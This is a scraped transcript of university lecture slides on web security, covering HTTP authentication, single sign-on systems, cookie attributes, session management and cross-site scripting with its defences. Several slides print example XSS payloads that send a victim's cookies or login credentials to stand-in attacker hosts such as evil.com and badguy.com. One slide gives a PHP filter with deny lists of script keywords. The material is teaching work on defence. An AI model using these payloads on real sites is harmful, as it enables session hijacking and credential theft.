Presentation is loading. Please wait.

Presentation is loading. Please wait.

@Yuan Xue CS 285 Network Security Web Security Yuan Xue Fall 2013.

Similar presentations


Presentation on theme: "@Yuan Xue CS 285 Network Security Web Security Yuan Xue Fall 2013."— Presentation transcript:

1 @Yuan Xue (yuan.xue@vanderbilt.edu) CS 285 Network Security Web Security Yuan Xue Fall 2013

2 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Security Is A Critical Issue The Web Application Security Consortium more than 13% of all reviewed sites can be compromised completely automatically. About 49% of web applications contain vulnerabilities of high risk level. Symantec Vulnerabilities within web applications comprise 63% of all Internal security flaws

3 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Site Vulnerability Distribution

4 @Yuan Xue (yuan.xue@vanderbilt.edu) Outline Overview of Web Architecture Web Authentication Session Management Input Validation Flaws Logic Flaws

5 @Yuan Xue (yuan.xue@vanderbilt.edu) Basic Architecture of Web Web Server Server side script database Web Browser Client side script HTTP Request Response HTML files

6 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Architecture User Interface Layout/Rendering Engine (HTML parser, DOM) Networking JavaScript Interpreter XML ParserOther plugins, Website 2 Website 1 (domain) User Data ( Cookie etc.) Web server, e.g. Apache, etc. Static HTML page Servlet, CGI modules, etc. Runtime/Compiler Application business logic Dynamic HTML page, eg. PHP, JSP, etc. User Data, e.g. Session Server-side Web Application Client-side Browser HTTP Request HTTP Response Database

7 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP: HyperText Transfer Protocol Used to request and return data Methods: GET, POST, HEAD, … Stateless request/response protocol Each request is independent of previous requests Statelessness has a significant impact on design and implementation of applications Evolution HTTP 1.0: simple HTTP 1.1: more complex

8 @Yuan Xue (yuan.xue@vanderbilt.edu) GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT HTTP Request MethodFileHTTP versionHeaders Data – none for GET Blank line

9 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Content-Length: 2543 Some data... blah, blah, blah HTTP Response HTTP versionStatus codeReason phrase Headers Data

10 @Yuan Xue (yuan.xue@vanderbilt.edu) Key Issue with HTTP “Stateless” What does it mean? After your browser talks to the server, the server forgets you After you select a product in a shopping cart, it gets lost when you check out Etc..

11 @Yuan Xue (yuan.xue@vanderbilt.edu) More Issues with Web Application Security Programming Language Weak typed scripting language Trust between client and server Server can not trust any client input/ID Client can not trust any server input/ID  Think about web 2.0, there are user content embedded in the server response

12 @Yuan Xue (yuan.xue@vanderbilt.edu) Security needs in web application Let’s start with an example On-line shopping business User account creation/login Product selection/shopping cart management Checkout/payment What do we need? User authentication  Only accept the request from the true user  Prevent impersonation Secure data communication  Data confidentiality+ integrity User session management  Remember the selection  Prevent the session hijacking Server authentication  Send the user’s credential and information to the true application server, not an impostor Server and database security Flaws in web application Client security

13 @Yuan Xue (yuan.xue@vanderbilt.edu) What comes with SSL? Web Server TCP SSL HTTPS Server side script database Web Browser TCP SSL Client side script With SSL, this is the architecture we have now… - what can be achieved  data confidentiality/integrity + server authentication what can’t?  client authentication + session management + server/client/application/database security HTTP certificate

14 @Yuan Xue (yuan.xue@vanderbilt.edu) TODO List Web Authentication Session Management User Input Validation

15 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Authentication SSL Use client certificate HTTP Authentication Basic access authentication scheme Basic access authentication Digest access authentication scheme Digest access authentication User+ password Use HTML/FORM (Cleartext)  Need to work with SSL Single sign on (Reference) Introducing a centralized authentication service Based on the above basic approaches (SSL, User+ password)

16 @Yuan Xue (yuan.xue@vanderbilt.edu) SSL Client Certificate Client presents a certificate to server during SSL handshake Certificate is not a password  user can not remember it Certificate needs to be stored If the certificate is stored in a computer  the user can only login using this computer If the user needs to carry it around  the certificate needs to be stored in a USB drive

17 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP Authentication Direct support from web server/browser Implemented in almost every web server and browser. When the user tries to access a protected area User+ password Basic access authentication Digest access authentication

18 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP Authentication Web Server TCP Server side script database Web Browser TCP Client side script HTTP Passwords file

19 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP Basic Authentication Limit: the user name and password are not protected need to work with SSL/TLS clientserver Request URL with GET or POST method HTTP 401 Unauthorised Authentication “realm” (description of system being accessed) Base64encode (username+”:”+password) Ask for user name+ password Passwords file Browser will cache this information until the tab/window is closed or history is cleared Compare with password file

20 @Yuan Xue (yuan.xue@vanderbilt.edu) HTTP Digest Authentication clientserver Request URL with GET or POST method HTTP 401 Unauthorised Authentication “realm” (description of system being accessed) Fresh, random nonce H3=hash(H1, server nonce, H2) Recompute H3 and verify H1=hash(username, realm, password) H2=hash(method, URL) Pro: protection over user name and password Limit: vulnerable to Man-in-the-middle attack There is no way to verify server’s ID

21 @Yuan Xue (yuan.xue@vanderbilt.edu) Further Readings on HTTP Authentication Check out Wiki to see how HTTP request/response look like in these two schemes Basic access authentication Digest access authentication Check out the Apache Doc http://httpd.apache.org/docs/1.3/howto/auth.html how both schemes are implemented at the web server how to configure the authentication service

22 @Yuan Xue (yuan.xue@vanderbilt.edu) Limits of HTTP Authentication Why people walk away from using HTTP authentication? They want control over the look of the login form  most browsers display an awful looking dialog box. (this problem can be fixed using Javascript) The authentication credential (password file) is tied to web server  Web server may support multiple applications  Application-specific authentication credentials are usually expected Implementation of “logout” function is hard

23 @Yuan Xue (yuan.xue@vanderbilt.edu) Providing User/Password in HTML Form User submits his credential (user name+ password) in HTML form. The submitted authentication credential will be analyzed by the server side script Application-specific authentication process The HTML form needs to be submitted via HTTPS (over SSL/TLS) to protect the authentication credentials. Note when HTTPS should be used.

24 @Yuan Xue (yuan.xue@vanderbilt.edu) Single Sign On Background and Motivation Web Portals are becoming more and more sophisticated.  Portals need to integrate with back-end resources, each with its own authentication needs and user repositories.  Portals need to authenticate users to back-end data sources and applications, yet these applications may each have different underlying security infrastructures. Single sign-on Authentication (SSO) is the ideal and most efficient authentication solution What is Single Sign On? User only has to log in once and is authenticated to access all of the network resources/applications. SSO provides a unified mechanism to manage the authentication of users and implement business rules determining user access to applications and data.

25 @Yuan Xue (yuan.xue@vanderbilt.edu) Pros and Cons of SSO Pros Improved user productivity: Users are no longer bogged down by multiple logins and they are not required to remember multiple IDs and passwords. Also, support personnel answer fewer requests to reset forgotten passwords. Improved developer productivity: SSO provides developers with a common authentication framework. The developer can assume that once a request for an application is accompanied by a username, then authentication has already taken place. Simplified administration: When applications participate in a single sign-on protocol, the administration burden of managing user accounts is simplified. Cons Difficult to retrofit. An SSO solution can be difficult, time-consuming, and expensive to retrofit to existing applications. Security risks. For example, a malicious user could gain access to a user's all authorized resources once his password is compromised. Single point of attack. With single sign-on, a single, central authentication service is used by all applications. This is an attractive target for hackers who may decide to carry out a denial of service attack.

26 @Yuan Xue (yuan.xue@vanderbilt.edu) Single Sign-On Design Basics There are two main types of SSO architecture types Web-based  our focus Non-Web-based.  legacy applications Two design aspects SSO needs centralized authentication servers that all other applications and systems utilize for authentication purposes. SSO has to internally translate to and store different credentials compared to what is used for initial authentication, as different applications and resources support different authentication mechanisms. SSO usually uses a Kerberos-model

27 @Yuan Xue (yuan.xue@vanderbilt.edu) SSO Security Implications Credentials never leave the authentication domain Secondary (affiliated) domains have to trust the authentication domain Credentials must be asserted correctly Protect from unauthorised use Authentication transfer has to be protected Replay prevention Interception/masquerade attacks

28 @Yuan Xue (yuan.xue@vanderbilt.edu) SSO Mechanisms In order to relay the authentication credentials, two mechanisms are seen in web-based SSO Cookies X.509 certificate Use of cookies (more details of cookies will be discussed shortly) When a user is authenticated by the single sign-on system, the authenticating agent plants a cookie, which is essentially a small file of information, into the user’s browser. When the user attempts to access a resource, the end system can request the cookie Example system: CAS Use of X.509 X.509 certificate authenticates the user in SSL E.g. KX509. User uses their Kerberos Ticket (TGT) to acquire a one-day X.509 certificate. It generates an RSA key-pair and connects to the organization-wide KCA (Kerberised Certificate Authority). It then authenticates as the user to the KCA using standard K4/K5 libraries. Once authenticated, it requests an X.509 certificate for the user with the transmitted public key and gathers information for the X.509 certificate from institutional resources (user's Full Name in particular). The KCA uses this information plus the received public key to generate an X.509 (v3) certificate signed by its CA private key with a validity lifetime of one day.

29 @Yuan Xue (yuan.xue@vanderbilt.edu) SSO dependencies SSO system relies on other infrastructure Authentication system Requires interface with web server Identity management/registration Need to provide for authorisation Applications often need more than just authentication information Attribute information Shibboleth or other architectures

30 @Yuan Xue (yuan.xue@vanderbilt.edu) Simple SSO operation Application /resource SSO Application Application /resource 1. Access application 2. Refer for authn. 3. Ask for credentials 4. Transfer to application Authentication DomainSecondary domain SSO Session (Ticket Granting Ticket) Transfer/Service ticket

31 @Yuan Xue (yuan.xue@vanderbilt.edu) SSO Components Authentication server SSO Application HTTP server LDAP Kerberos RDBMS … Application Enforcement agent Sign-on (verification)App (enforcement) Authorisation

32 @Yuan Xue (yuan.xue@vanderbilt.edu) Products and Systems Web Single Sign-on products GetAccess by Entrust PortalXpert by Evidian SiteMinder by Netegrity ClearTrust by RSA Security OpenSSO by Sun Java SSO systems Central Authentication Service by Yale University. Central Authentication Service Pubcookie by the University of Washington Pubcookie WebAuth by Stanford University (Duke also has a similar system with the same name) WebAuth Michigan Cosign and X.509 certificates via Kerberos by University of Michigan Michigan Cosign X.509 certificates via Kerberos A-Select by Surfnet (Netherlands) A-Select SSO By Google SSO Legacy Single Sign-on products ETrust Single Sign-on by Computer Associates Access Master by Envidian Tivoli Global Sign-on by IBM Secure Login by Novell

33 @Yuan Xue (yuan.xue@vanderbilt.edu) Supported Authentication Methods CAS LDAP server (OpenLDAP, Active Directory) Kerberos (MIT, Active Directory) Pubcookie Kerberos v5 LDAP server /etc/shadow WebAuth MIT Kerberos OpenLDAP CoSign Supports GSSAPI A-Select Banking SMS ‘SURFkey’ LDAP Radius

34 @Yuan Xue (yuan.xue@vanderbilt.edu) Let’s look at some example SSO systems

35 @Yuan Xue (yuan.xue@vanderbilt.edu) Central Authentication Service (CAS) CAS is based on the Kerberos model. CAS uses an opaque session ID cookie (which is the Ticket Granting Ticket; TGT) that is only ever returned back to the CAS server. This cookie allows the CAS server to validate the user without challenging them to enter their credentials again. A Web application only ever sees its own Service Ticket (ST), which is associated (on the CAS server) to the TGT for the user. The ST is a one-time-use-only opaque value that is invalidated when the web application verifies it for the first time.

36 @Yuan Xue (yuan.xue@vanderbilt.edu) CAS Operation

37 @Yuan Xue (yuan.xue@vanderbilt.edu) WebAuth WebAuth central authentication services (the WebKDC) share symmetric keys with each WebAuth-Enabled Application Server (WAS) to encrypt or decrypt the tokens sent. Kerberos 5 and SSL are used to bootstrap and get session keys from the WebKDC. WebAuth uses the cookie to store information about the authenticated user for consumption by Web applications (for example user id, creation and exppiry times etc). WebAuth uses ID and proxy tokens, which are consumed by the WAS and the main token is only consumed by the WebKDC. All of the tokens are encrypted with the appropriate shared key so only the recipient can read the contents. Since all of the data required is on the cookies, the WAS doesn’t need to communicate with the WebKDC to validate the cookie and then get any user credentials. All state data for both the WebKDC and the WAS are kept on the user’s browser in the form of cookies. This makes the WebKDC and WAS stateless with respect to the WebAuth application.

38 @Yuan Xue (yuan.xue@vanderbilt.edu) WebAuth Operation

39 @Yuan Xue (yuan.xue@vanderbilt.edu) CoSign Unlike other cookie-based Web authentication solutions, cosign does not use a domain or otherwise public cookie to allow cross-server authentication. The cosign server has its own cookie and departmental Web servers have their own cookies. The Cosign cookie is available only to the Cosign server; the departmental service cookies are available only to the departmental servers. The alternative solution, using a domain cookie, would allow any Web server on campus (including Web servers in student dorms) to compromise the authentication cookie. Cosign leverages its central state database to allow simple, effective user-initiated log out at the end of a session The Cosign server configuration includes the option to forward Kerberos tickets to approved target sites. The passing of Kerberos tickets is limited to direct SSL connections between the authentication server and the Web server on the internal network, and is never passed to the browser or anywhere else outside the local network.

40 @Yuan Xue (yuan.xue@vanderbilt.edu) CoSign Operation

41 @Yuan Xue (yuan.xue@vanderbilt.edu) Pubcookie Pubcookie is an open source WebISO solution that was originally developed at the University of Washington in 1998. In 2001, it was bundled and made available to others in conjunction with efforts at Internet2 to better define web-based initial sign-on (WebISO) systems like Pubcookie itself. Later that same year, developers at Carnegie Mellon, Wisconsin, and elsewhere joined the effort to make Pubcookie more generally useful and this activity moved the project into the realm of the open-source project where it lives today. The Pubcookie login server has two primary functions: to authenticate users and to issue authentication tokens (granting cookies) consumed by Pubcookie-enabled target application servers. Authentication occurs either by verifying user-provided credentials via a backend authentication service (Kerberos, LDAP, etc.) or by checking a token that was created on a previous visit to the login server. The Pubcookie solution does not forward the Kerberos credentials.

42 @Yuan Xue (yuan.xue@vanderbilt.edu) overview

43 @Yuan Xue (yuan.xue@vanderbilt.edu) Authentication in A-Select choose your own method (and strength) IP address Username / password LDAP / Active Directory RADIUS SQL Passfaces PKI certificate OTP through SMS OTP through internet banking Tokens (SecurID, Vasco, … ) Biometrics

44 @Yuan Xue (yuan.xue@vanderbilt.edu) Choosing an SSO system Need to evaluate systems appropriate to your environment Apache/IIS/J2EE OS/platform support Will the SSO product integrate with my authentication system applications (agent/webserver integration, legacy applications) authorisation system (Shibboleth support?) Need to provide resilient system Single point of failure Performance/throughput

45 @Yuan Xue (yuan.xue@vanderbilt.edu) Further Readings Evaluation of Web Single Sign-On Technologies WebSSO Implementation Comparison Web Single Sign On Evaluation Whitepaper Understanding Single Sign-on Build and implement a single sign-on solution

46 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Authentication Summary Strong authentication protocols for web based applications include: Public key authentication (usually implemented with HTTPS / SSL Client Certificates) Public keyHTTPSSSL Integrated Windows Authentication (using Kerberos or SPNEGO authentication). Integrated Windows AuthenticationKerberosSPNEGO Digest access authentication scheme Weak cleartext protocols + HTTPS Basic access authentication scheme Basic access authentication HTML Form based authentication These weak cleartext protocols used together with HTTPS network encryption resolve many of the threats that Digest access authentication protocol is designed to prevent.HTTPS

47 @Yuan Xue (yuan.xue@vanderbilt.edu) Web Authentication In A Picture Web Server TCP SSL HTTPS Server side script database Web Browser TCP SSL Client side script HTTP certificate SSL Authentication via X.509 certificate HTTP Authentication User+Password In HTML FORM Password file

48 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Management

49 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Management Session state User authentication credential User profile Cached data/shopping cart Browsing history, Etc… Key Issue: HTTP is stateless  either server or client needs to remember the session states Option 1: Server stores the session states and provides an index (session ID) to client so that it can refer to its session states using this index in its requests to server. In this case, client needs to stores the session ID.  Less amount of information at the client/less bandwidth consumption Option 2: Client stores the session states and presents them to server with every requests. (Stateless Server)  Easy to provide load-balancing/high availability, since client can be directed to any web server that support the application  Reduce server resource usage/complexity.  Client has complete state, possible for a malicious user to execute replay attacks  Hard to invalidate an active session, since server no longer holds the state material

50 @Yuan Xue (yuan.xue@vanderbilt.edu) Session ID Session ID is generated for the client to index the session states at the server If the attacker can guess (or discover in other ways) the session ID, then he can impersonate the victim, hijack the victim’s session by talking to the server using the same session ID and compromise the user’s account. Thus session ID needs to be random (high entropy). Otherwise the attacker can guess IDs by brute force Bad Example  Incrementing session ID  completely predictable/zero entropy  Time and date  (attacker can detect such session ID generation method by logining consecutively multiple times and find the session ID change pattern)  Java.util.Random/C lib rand Good practice  Java.security.SecureRandom (Java)  System.Security.Cryptography.RNGCryptoServiceProvider(.NET)

51 @Yuan Xue (yuan.xue@vanderbilt.edu) Session Management Mechanisms Where the session states/session ID can be stored and communicated between client and server? Client’s computer  Cookies URL  URL rewriting HTML page  Hidden field in the form

52 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookies

53 @Yuan Xue (yuan.xue@vanderbilt.edu) Using Cookie To Store Session States A cookie is a file created by a web server(or its server-side script) to store information on the client) Cookies help to store the session states/session ID in client’s local system Browser Server Enters form data Stores cookie Browser Server Requests cookie Returns data Includes domain (who can read it), expiration, “secure” (can be read only over SSL)

54 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookie Attributes Overview Cookies have attributes to indicate how long the browser stores the cookie whether the browser will send it over any connection or only over HTTPS connections what server hostnames it will send the cookie back to Etc..

55 @Yuan Xue (yuan.xue@vanderbilt.edu) Let’s Take a Closer Look…

56 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookie Attributes (I) Domain (string: host or domain name) tells the browser what hostnames to send the cookie back to. For Domain = “www.example.com” the browser will send the cookie to hosts whose names exactly match www.example.com,www.example.com For Domain = “.example.com” or Domain = “example.com” the browser will send the cookie to www.example.com and wiki.example.comwww.example.com If Domain is omitted or blank, the browser will only send the cookie to the exact hostname from which the cookie was set. Omitting Domain is often the most secure choice for this reason

57 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookie Attributes (II) Path (string: path prefix for URI) is a namespace management mechanism. The browser will only send the cookie, when it is requesting pages underneath the resource hierarchy named by Path. For Path = “/stuff”, the browser will send the cookie when requesting /stuff/, /stuff/gadgets.html and /stuff/things/goodies.html, but not when requesting /doodads.html. If there is no Path attribute, the browser behaves as if it had been set to “/”. Path is not a security boundary (see the example later) HttpOnly (boolean) tells the browser not to let JavaScript read the cookie value such as via document.cookie  vulnerable to cross-site scripting (discuss later)

58 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookie Attributes (III) Secure (boolean) tells the browser to send the cookie to a server only over a ‘secure’ (HTTPS) connection. If omitted, the browser will send the cookie over any type of connection. Without this flag, the browser doesn’t know that the cookie is sensitive and in need of protection. Expires (string: date) tells the browser to store the cookie in a persistent store on the client machine and to send it back to the server until the given time. If no Expires attribute is given, the browser will discard the cookie when it exits

59 @Yuan Xue (yuan.xue@vanderbilt.edu) Attribute Summary

60 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookies are identified by (name,domain,path) Both cookies stored in browser’s cookie jar; both are in scope of login.site.com cookie 1 name = userid value = test domain = login.site.com path = / secure cookie 2 name = userid value = test123 domain =.site.com path = / secure distinct cookies

61 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookies Operation Server sets a cookie Client sends a cookie client sends the cookie back to the server by putting a Cookie header in the request client only sends the name = value pair(s), but not the cookie attributes the attributes are instructions from the server to the browser about how and when to send the cookie back

62 @Yuan Xue (yuan.xue@vanderbilt.edu) scope Cookie Operation Illustration (Writing) Delete cookie by setting “expires” to date in past Default scope is domain and path of setting URL Browser Server GET … HTTP Header: Set-cookie:NAME=VALUE ; domain = (when to send) ; path = (when to send) secure = (only send over SSL); expires = (when expires) ; HttpOnly (later) if expires=NULL: this session only

63 @Yuan Xue (yuan.xue@vanderbilt.edu) Scope Setting Rules domain: any domain-suffix of URL-hostname, except top- level domain (TLD)top- level domain example: host = “login.site.com”  login.site.com can set cookies for all of.site.com but not for another site or TLD path: can be set to anything allowed domains login.site.com.site.com disallowed domains user.site.com othersite.com.com

64 @Yuan Xue (yuan.xue@vanderbilt.edu) Cookie Operation Illustration (Reading) Browser sends all cookies in URL scope: cookie-domain is domain-suffix of URL-domain, and cookie-path is prefix of URL-path, and [protocol=HTTPS if cookie is “secure”] Same Origin Policy!! Goal: server only sees cookies in its scope Browser Server GET //URL-domain/URL-path Cookie: NAME = VALUE

65 @Yuan Xue (yuan.xue@vanderbilt.edu) Examples http://checkout.site.com/ http://login.site.com/ https://login.site.com/ cookie 1 name = userid value = u1 domain = login.site.com path = / secure cookie 2 name = userid value = u2 domain =.site.com path = / non-secure both cookies are set by login.site.com cookie: userid=u2 cookie: userid=u1; userid=u2 (arbitrary order; in firefox, most specific cookie first) Which cookie(s) will be sent, when the following sites are visited?

66 @Yuan Xue (yuan.xue@vanderbilt.edu) Client Side Cookie Operation via Script: document.cookie Setting a cookie in Javascript: document.cookie = “name=value; expires=…; ” Reading a cookie: alert(document.cookie) prints string containing all cookies available for document (based on [protocol], domain, path) Deleting a cookie: document.cookie = “name=; expires= Thu, 01-Jan-70” document.cookie often used to customize page in Javascript

67 @Yuan Xue (yuan.xue@vanderbilt.edu) javascript: alert(document.cookie) Javascript URL Displays all cookies for current document

68 @Yuan Xue (yuan.xue@vanderbilt.edu) Some Examples of Incorrect Cookie Attribute Setting

69 @Yuan Xue (yuan.xue@vanderbilt.edu) Example 1: login server problems Alice logs in at login.site.com login.site.com sets session-id cookie for.site.com Alice visits evil.site.com overwrites.site.com session-id cookie with session-id of user “badguy” Alice visits cs285.site.com to submit homework. cs285.site.com thinks it is talking to “badguy” Problem: cs285 expects session-id from login.site.com; cannot tell that session-id cookie was overwritten

70 @Yuan Xue (yuan.xue@vanderbilt.edu) Example 2: “secure” cookies are not secure Alice logs in at https://www.google.com/accounts Alice visits http://www.google.com (cleartext) Network attacker can inject into response Set-Cookie: LSID=badguy; secure and overwrite secure cookie Problem: network attacker can re-write HTTPS cookies !  HTTPS cookie value cannot be trusted

71 @Yuan Xue (yuan.xue@vanderbilt.edu) What Are Cookies Used For? 1. Keep track of the session during its current visit 2. Save the session information for next visit Examples: Authentication The server sends a cookie to the authenticated user. The client presents the cookie to the server on subsequent request, providing continuity of the authenticated user session. Personalization Recognize the user from a previous visit Tracking Follow the user from site to site; learn his/her browsing behavior, preferences, and so on

72 @Yuan Xue (yuan.xue@vanderbilt.edu) Security Issues with Cookie Cookie itself does not have any security property In general, web-application may require cookies to have the following security property Confidentiality  E.g., session cookie, authentication token Integrity  E.g., discount price Attacks Cookie guessing  against confidentiality and integrity (cookie can be forged) Cookie theft  against confidentiality  XSS  XSRF  Sniffing Cookie poisoning  against integrity

73 @Yuan Xue (yuan.xue@vanderbilt.edu) Protect Confidentiality of A Cookie When confidentiality of the cookie is violated (either by guessing or stealing), the attacker can then insert the cookie into their browser and making request to application by impersonating the victim When the cookie carries the session ID or authentication token, the server can not tell the difference between the attacker and the victim (authentication is solely based on cookie; http is stateless) The attacker steals/Hijacks the victim’s session To prevent cookie (session ID) guessing, recall (just a couple of slides earlier) session ID needs to be random (high entropy). To prevent cookie sniffing, always send cookie over SSL by enable “secure” attribute. To prevent cookie theft  this is very hard Let’s first look how cookie can be stolen

74 @Yuan Xue (yuan.xue@vanderbilt.edu) XSRF: Cross-Site Request Forgery and XSS: Cross-Site Scripting

75 @Yuan Xue (yuan.xue@vanderbilt.edu) Example victim’s browser naive.com evil.com Access some web page <FRAME SRC= http://naive.com/hello.cgi? name= win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) > Forces victim’s browser to call hello.cgi on naive.com with this script as “name” GET/ hello.cgi?name= win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie) hello.cgi executed Hello, dear win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie) Welcome! Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com GET/ steal.cgi?cookie= E.g., URL embedded in HTML email hello.cgi

76 @Yuan Xue (yuan.xue@vanderbilt.edu) The setup User input is echoed into HTML response. Example: search field http://victim.com/search.php ? term = apple search.php responds with: Search Results Results for :...

77 @Yuan Xue (yuan.xue@vanderbilt.edu) Bad input Consider link: (properly URL encoded) http://victim.com/search.php ? term = window.open( “http://badguy.com?cookie = ” + document.cookie ) What if user clicks on this link? 1. Browser goes to victim.com/search.php 2. Victim.com returns Results for … 3. Browser executes script: Sends badguy.com cookie for victim.com

78 @Yuan Xue (yuan.xue@vanderbilt.edu) So what? Why would user click on such a link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking What if badguy.com gets cookie for victim.com ? Cookie can include session auth for victim.com  Or other data intended only for victim.com Can transmit user’s private data to attacker  E.g., encode it in a URL request to attacker’s site  Violates same origin policy

79 @Yuan Xue (yuan.xue@vanderbilt.edu) Much worse … Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages.  Example: MySpace.com phishing attack injects password field that sends password to bad guy. Can infect other users: MySpace.com worm.

80 @Yuan Xue (yuan.xue@vanderbilt.edu) What Causes XSS? An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application. Methods for injecting malicious code: Reflected XSS (“type 1”)  the attack script is reflected back to the user as part of a page from the victim site Stored XSS (“type 2”)  the attacker stores the malicious code in a resource managed by the web application, such as a database Others, such as DOM-based attacks

81 @Yuan Xue (yuan.xue@vanderbilt.edu) Reflected XSS attack Attack Server Server Victim User Victim click on link echo user input 3 send valuable data 5 4 Send bad stuff Reflect it back

82 @Yuan Xue (yuan.xue@vanderbilt.edu) Stored XSS Attacker Server Victim User Victim Inject malicious script request content receive malicious script 1 2 3 steal valuable data 4 Store bad stuff Download it

83 @Yuan Xue (yuan.xue@vanderbilt.edu) Stored XSS using images Suppose pic.jpg on web server contains HTML !  request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK … Content-Type: image/jpeg fooled ya  IE will render this as HTML (despite Content-Type) Consider photo sharing sites that support image uploads What if attacker uploads an “image” that is a script?

84 @Yuan Xue (yuan.xue@vanderbilt.edu) Here are some real world examples

85 @Yuan Xue (yuan.xue@vanderbilt.edu) 2006 Example Vulnerability Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive financial data. Source: http://www.acunetix.com/news/paypal.htm

86 @Yuan Xue (yuan.xue@vanderbilt.edu) Adobe PDF viewer “feature” PDF documents execute JavaScript code http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code _here The code will be executed in the context of the domain where the PDF files is hosted This could be used against PDF files hosted on the local filesystem How it works: Attacker locates a PDF file hosted on website.com Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion  http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);) Attacker entices a victim to click on the link If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes (version <= 7.9) http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

87 @Yuan Xue (yuan.xue@vanderbilt.edu) MySpace.com (Samy worm) Users can post HTML on their pages MySpace.com ensures HTML contains no,, onclick, … but can do Javascript within CSS tags: And can hide “javascript” as “java\nscript” With careful javascript hacking: Samy worm infects anyone who visits an infected MySpace page … and adds Samy as a friend. Samy had millions of friends within 24 hours. http://namb.la/popular/tech.html

88 @Yuan Xue (yuan.xue@vanderbilt.edu) Untrusted script in Facebook apps User data User- supplied applicati on

89 @Yuan Xue (yuan.xue@vanderbilt.edu) Defense Mechanisms Use HTTPOnly Cookies Defense at Server Defense at Client

90 @Yuan Xue (yuan.xue@vanderbilt.edu) HttpOnly Cookies IE6 SP1, FF2.0.0.5 Browser Server GET … HTTP Header: Set-cookie:NAME=VALUE ; HttpOnly Cookie sent over HTTP(s), but not accessible to scripts cannot be read via document.cookie Also blocks access from XMLHttpRequest headers Helps prevent cookie theft via XSS … but does not stop most other risks of XSS bugs. (not Safari)

91 @Yuan Xue (yuan.xue@vanderbilt.edu) Defenses at Server Attack Server Server Victim User Victim visit web site receive malicious page click on link echo user input 1 2 3 send valuable data 5 4

92 @Yuan Xue (yuan.xue@vanderbilt.edu) Input data validation and filtering Never trust client-side data Best: allow only what you expect Remove/encode special characters Many encodings, special chars! E.g., long (non-standard) UTF-8 encodings

93 @Yuan Xue (yuan.xue@vanderbilt.edu) Output filtering / encoding Remove / encode (X)HTML special chars < for, &quot for “ … Allow only safe commands (e.g., no …) Caution: Scripts not only in !

94 @Yuan Xue (yuan.xue@vanderbilt.edu) Caution: Scripts not only in ! JavaScript as scheme in URI JavaScript On{event} attributes (handlers) OnSubmit, OnError, OnLoad, … Typical use: action="logon.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.digicrime.com/'+document.for ms(1).login.value'+':'+ document.forms(1).password.value;"

95 @Yuan Xue (yuan.xue@vanderbilt.edu) How to Protect Yourself (OWASP) The best way to protect against XSS attacks: Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

96 @Yuan Xue (yuan.xue@vanderbilt.edu) Pretty good filter function RemoveXSS($val) { // this prevents some character re-spacing such as $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); // straight replacements... prevents strings like $search = 'abcdefghijklmnopqrstuvwxyz'; $search.= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search.= '1234567890!@#$%^&*()'; $search.= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; } $ra1 = Array('javascript', 'vbscript', 'expression', 'applet',...); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate',...); $ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) {...} return $val; } http://kallahar.com/smallprojects/php_xss_filter_function.php

